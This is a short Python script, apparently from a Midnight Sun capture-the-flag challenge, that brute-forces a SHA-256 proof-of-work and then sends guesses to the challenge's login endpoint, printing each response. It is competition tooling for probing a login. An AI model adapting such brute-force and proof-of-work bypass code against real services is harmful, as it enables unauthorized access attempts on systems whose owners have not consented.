ms-brutelogin.py

#!/usr/bin/python

import hashlib
import requests
import random
import string
import json
import sys

# f = open(sys.argv[1])
# data = [l.rstrip() for l in f.readlines()]
# f.close()
# currentSuffix = "rd"

def cpwpow(i):
  while True:
    rndstr = ''.join(random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890") for _ in range(10))
    h = hashlib.sha256(i + rndstr).hexdigest()
    if h.endswith("66666"):
      return (rndstr,h)

def checkForSuffix(inchar):
  (d,h) = cpwpow(inchar)
  r = requests.get("http://web.midnightsunctf.se:8000/login/" + inchar + "/" + d)
  print r.text
  if "suffix" in r.text:
    return r.text

print checkForSuffix(sys.argv[1])